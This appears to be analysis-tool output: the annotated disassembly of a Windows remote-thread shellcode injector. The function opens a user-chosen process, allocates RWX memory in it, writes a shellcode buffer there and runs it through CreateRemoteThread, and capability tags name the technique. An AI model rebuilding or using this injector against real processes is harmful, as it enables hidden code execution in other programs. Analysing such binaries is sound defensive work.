Function at 0x40180f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x421d8
call fcn.00402b80
sub esp, eax
mov ebx, ecx
call dbg.__main
mov dword [ebp - 0x1c], 0
cmp dword [ebx], 2
jne 0x40189f
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], 0x41112b
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401870
mov dword [esp], str._info__Verbose_Mode_Activated._n
call sym._printf
mov dword [ebp - 0x1c], 1
jmp 0x40189f
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], 0x411150
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40189f
mov dword [esp], str._info__Verbose_Detailed_Mode_Activated._n
call sym._printf
mov dword [ebp - 0x1c], 2
lea edx, [ebp - 0x1b5]
mov eax, 0x411448
mov ecx, 0x17d
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x421b8]
mov edx, 0x42000
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x421b8]
mov dword [esp], eax
call sym._getRunningProcesses
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0
jmp 0x40195b
lea edx, [ebp - 0x421b8]
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x108
add eax, edx
lea edx, [eax + 4]
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x108
lea eax, [eax - 8]
lea esi, [ebp - 0x10]
add eax, esi
sub eax, 0x421a0
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.PID:___lu___name:___s__n
call sym._printf
add dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x20], eax
jb 0x401917
mov dword [esp], str.Please_set_the_target_PID__
call sym._printf
mov dword [ebp - 0x421bc], 0
lea eax, [ebp - 0x421bc]
mov dword [esp + 4], eax
mov dword [esp], 0x4111b1
call sym._scanf
mov eax, dword [ebp - 0x421bc]
mov dword [esp + 4], eax
mov dword [esp], str._nInjecting_to_PID:__i_n
call sym._printf
mov eax, dword [ebp - 0x421bc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4019f2
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_open_process._Error__lu_n
call sym._printf
mov eax, 0xffffffff
jmp 0x401c7a
cmp dword [ebp - 0x1c], 0
je 0x401a04
mov dword [esp], str._Ok__Opened_process_handle._n
call sym._printf
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x17d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x401a6e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_allocate_memory_in_the_remote_process._Error:__lu_n
call sym._printf
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x401c7a
cmp dword [ebp - 0x1c], 0
je 0x401a80
mov dword [esp], str._Ok__Created_buffer_in_target_process._n
call sym._printf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x17d
lea eax, [ebp - 0x1b5]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x401b12
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_write_the_shellcode_to_the_remote_process._Error:__lu_n
call sym._printf
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x401c7a
cmp dword [ebp - 0x1c], 0
je 0x401b24
mov dword [esp], str._Ok__Wrote_shellcode_to_buffer_in_the_target_process._n
call sym._printf
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401bc4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_remote_thread._Error:__lu_n
call sym._printf
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x401c7a
cmp dword [ebp - 0x1c], 0
je 0x401bd6
mov dword [esp], str._Ok__Created_remote_thread._n
call sym._printf
mov dword [esp + 4], 0x9c4
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x401c24
cmp dword [ebp - 0x38], 0
je 0x401c08
cmp dword [ebp - 0x38], 0x102
je 0x401c16
jmp 0x401c3d
mov dword [esp], str._Ok__Remote_thread_ran_successfully._n
call sym._printf
jmp 0x401c49
mov dword [esp], str._Ok__Remote_thread_got_caught_on_the_timeout_but_probably_ran_successfully._n
call sym._printf
jmp 0x401c49
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str._Error__Waiting_remote_thread_failed._Error__lu_n
call sym._printf
jmp 0x401c49
mov dword [esp], str._Error__Unexpected_result_from_WaitForSingleObject.__n
call sym._printf
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], str._Ok__Closed_process_and_thread_handles.
call sym._printf
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret